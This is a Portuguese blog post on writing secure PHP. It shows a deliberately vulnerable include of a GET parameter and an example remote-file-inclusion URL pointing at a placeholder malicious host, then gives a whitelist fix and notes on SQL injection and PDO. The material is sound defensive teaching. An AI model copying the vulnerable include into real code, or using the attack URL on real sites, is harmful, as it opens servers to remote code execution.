Programar PHP em segurança

Os programadores de PHP têm má fama pelos erros que fizeram no passado. Até eu já programei de forma incorrecta. Mas o PHP 4 está morto e enterrado e o PHP 5.2 já lá vai.

Está na altura de mudarmos os nossos métodos e programarmos PHP com segurança em mente.

Segurança em PHP

Já partilhei anteriormente umas dicas para tornar o nosso código devidamente formatado a pensar no futuro, agora partilho algumas dicas de segurança.

Com a quantidade de código que me passa pelas mãos e pelo contacto com alguns “programadores” o que percebo é que a segurança é da responsabilidade do servidor e nunca do programador. Uma firewall serve para bloquear IP’s e portas e o Mod Security é uma solução de último recurso e não deve ser utilizada como método de protecção.

O servidor onde possuem o vosso código é vosso? Têm controle sobre a sua configuração ou estão dependentes de um ISP num alojamento partilhado?

Quem programa à espera que um servidor seja seguro facilmente é atacado, especialmente quando não têm conhecimento das configurações e alterações efectuadas.

Exemplo de injecção de código

Ora, vamos supor que eu tenho um site com o seguinte código:

1
2
3
<?php
  include $_GET['pagina'] . '.php';
?>

Tudo muito inocente. Se eu aceder a site.com/index.php?pagina=contacto vou incluir o ficheiro contacto.php. Mas se o servidor onde me encontro tiver a opção allow_url_fopen activa isto é uma porta aberta a ataques.

Basta aceder a site.com/index.php?pagina=http://www.sitemalicioso.com/hack.php? e o vosso site está agora a correr o meu código e eu fiquei com acesso ao servidor.

Podem dizer que o allow_url_fopen é perigoso e devia ser desactivado, mas falham completamente o ponto. O código não é seguro.

A solução passa por criar uma whitelist com os nomes dos ficheiros que permitimos que sejam incluídos (por exemplo num Array ou numa base de dados) e uma verificação através de um RegEx que apenas permita caracteres alfanuméricos. Podemos até usar um simples switch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
  // Definimos a página inicial
  $pagina = 'homepage';
    
  // Se existir um pedido $_GET['pagina'] verificamos a whitelist
  if ( isset($_GET['pagina']) ) {

    switch ($_GET['pagina']) {
      case 'contacto':
        $pagina = 'contacto';
        break;
      case 'quemsomos':
        $pagina = 'quemsomos';
        break;
    }
        
  }
    
  // Inclui o ficheiro
  include $pagina . '.php';
?>

Tudo o que é indicado pelo utilizador é perigoso

Todo o conteúdo submetido ao nosso script através de GET ou POST é e deve ser considerado perigoso. De boas intenções está o mundo cheio, já diz o provérbio, e com os utilizadores de um site aplica-se a mesma coisa.

Os ataques de injecção ao MySQL existem por isso mesmo, excesso de confiança. Lá apareceram funções para servirem como soluções rápidas, mas os programadores preguiçosos usaram isto como solução definitiva e deixam a segurança nas mãos de terceiros. Um bom exemplo é a opção magic_quotes que quando desactivada deixa um script aberto a injecções porque está mal programado.

Felizmente apareceu o mysql_real_escape_string que veio facilitar a vida a quem não sabe usar um addslashes e com o PDO então é uma maravilha fazer a validação de campos de forma rápida e eficiente.

Se controlamos tudo o que pode ser alterado pelo utilizador (inclusive links) é meio caminho andado para manter a nossa aplicação segura contra ataques comuns e worms ou trojans que se mantêm activos pela web à procura destas falhas.

Manter o nosso código seguro

Sempre que estamos a programar devemos perguntar a nós próprios: Um utilizador consegue alterar os dados aqui presentes? Será que este método é seguro?

E se vamos usar uma nova funcionalidade devemos procurar se existem possíveis falhas de segurança que possam advir da sua má utilização, os chamados pitfalls.

Não devemos também colocar uma solução online sem a tentar atacar primeiro. Como é que eu sei que um método de segurança funciona se não o tento ultrapassar?

E não pensem que isto serve apenas para utilizadores avançados porque não têm conhecimentos sobre este tema. Uma rápida pesquisa pelo Google vai encontrar milhões de exemplos de código seguro e funções para evitar ataques ao vosso código. Basta copiar alguns exemplos, testar localmente e adaptar às vossas necessidades e mesmo o manual do PHP vai ajudar nestas situações.

 
Copyright © 1985 - 2017 Eduardo Maio. Alguns direitos reservados.
eduardomaio.net - Às vezes mais valia ser Agricultor do que Programador
Ao navegar no blog eduardomaio.net está a concordar com os termos legais e de privacidade.